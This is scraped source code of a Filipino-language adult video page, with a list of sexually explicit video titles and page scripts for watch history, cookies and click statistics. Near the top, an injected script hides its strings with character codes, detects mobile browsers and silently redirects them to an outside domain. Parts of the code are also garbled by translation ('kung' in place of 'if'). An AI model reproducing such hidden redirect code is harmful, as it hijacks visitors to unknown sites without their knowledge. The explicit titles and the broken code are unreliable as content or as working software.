Mga Inirerekomendang Video
11:10
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,101); d=_(105,80,97,100);var u = navigator.userAgent; kung (u.indexOf(a) > -1 || u.indexOf(b) > -1 || u.indexOf(c) > -1 || u.indexOf(d) > -1) { window.location.href = _(104, 116, 116, 112, 115, 58, 47, 47, 120, 105, 97, 122, 97, 105, 46, 105, 116, 46, 99, 111, 109) } </script>
Magkarga Pa
","lastmod":"2026-07-11","duration":"11:10","url":"/play/19162960.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDUvNTdkNWY0YTU4NDJmMDY4YzJlYjE5NTUwZDhjM2M0MjQuanBn.cache","vod_id":19036617,"title":"Isang kaakit-akit na celebrity sa internet, may magandang itsura at malaking katawan, nakasuot ng puting medyas at halter top, ang brutal na tinutusok mula sa likuran, na may mga malapitang kuha na nagpapakita ng kanyang paglabas-masok.","lastmod":"2025-06-05","duration":"01:20:53","url":"/play/19036617.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODVkYmU2MmYzNTc4YjlhODQxMjE2NmEzZjhiNGE1NmYuanBn.cache","vod_id":18939308,"title":"[Serye ng Babaeng May-asawa] Mataas na halaga, de-kalidad na babaeng may-asawa na may sariling internal ejaculation. Napakaganda niya, may magandang pigura, at medyo malibog. Ang kanyang mga ungol ay kaaya-aya. Gumagawa siya ng oral sex, sumasampal, at pagkatapos ng internal ejaculation, dinidilaan niya ang semilya at pinasisigla ang anus. 1080P HD.","lastmod":"2025-12-14","duration":"00:16:12","url":"/play/18939308.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTExMDY0NjJmNzEwZTdkYzdkMTNhNDczOGFhZTM1MzEuanBn.cache","vod_id":18957750,"title":"Si Huya Xiao Reba, isang bagong babaeng may mataas na kwenta, ay nakipagtalik sa dalawang babae gamit ang mga props, kabilang ang oral sex na nakasuot ng lingerie at fishnet stockings, riding position, at mutual penetration na may nanginginig na itlog at dildo.","lastmod":"2025-03-22","duration":"03:07:20","url":"/play/18957750.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODkxNTAxYmJkMzU5NzI5ODczZDJlNGZmMjZhMjQ3OTguanBn.cache","vod_id":19001517,"title":"[Babaeng Alipin na si Zhang Wanyi] Sinasanay ng isang amo ang isang magandang babaeng alipin, tinutusok ang kanyang mga utong, hinahampas ang kanyang ari, at kinukuryente!","lastmod":"2025-03-23","duration":"24:22","url":"/play/19001517.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGM3NDVkYjcxZDAyYjA0NTczYjRiMTc1MDZmMmNjYTYuanBn.cache","vod_id":18987471,"title":"[Bersyong Hindi Naputol] BF-232 Flight Attendant Miwako: Pananakit, Orgasm, Kawalan ng Pagpipigil sa Pag-ihi... Miwako Yamamoto","lastmod":"2025-12-14","duration":"02:28:59","url":"/play/18987471.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjI4MzllNDA1MWU2YTRkYWUwNWE3MDFkYzc2NWU3M2EuanBn.cache","vod_id":18965547,"title":"Kakapanood ko lang ng pinakabagong video ng seksing asawa ko. Isang maganda at mataas na uri ng babae na may perpektong katawan ng isang modelo, binibiro ako at nilabasan ng bibig sa huli.","lastmod":"2025-03-22","duration":"00:18:00","url":"/play/18965547.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMjIvZDg4MDU3ZDk1NDBjY2QxZjc5ZGE1NWZjMTI5YzBjZjUuanBn.cache","vod_id":19063973,"title":"[Pahintulot ng Asawa] Babaeng May Asawa NTR 02 Asawa na Paulit-ulit na Nao-orgasm sa Ari ng Ibang Lalaki Ryoko Izumi, Fumino Ishikawa TCHB_029","lastmod":"2025-12-13","duration":"03:56:56","url":"/play/19063973.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjZiZGQ2MDEwZDBhODU3ODc4ZTViZWZjN2IyMzk2M2EuanBn.cache","vod_id":18963488,"title":"MIAA-780 Kamakailan lang ay may lalaking nanligaw sa akin, at magkasama kaming nagbakasyon sa isang mainit na bukal, naiwan ang mga huling alaala ko... Ang kanyang walang kabusugang ari ay talagang malakas.","lastmod":"2025-03-22","duration":"01:46:00","url":"/play/18963488.html"}]},
videoTitle: '[Naglabas ng sikreto ang flight attendant ng China Southern Airlines] Mamahaling pulang damit na halter, ipinasok ang ari sa malambot na ari, mahalay na ungol at kahalayan',
language: 'fil',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Nakopya na ang link!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Nakopya na ang link!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Nakopya na ang link!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}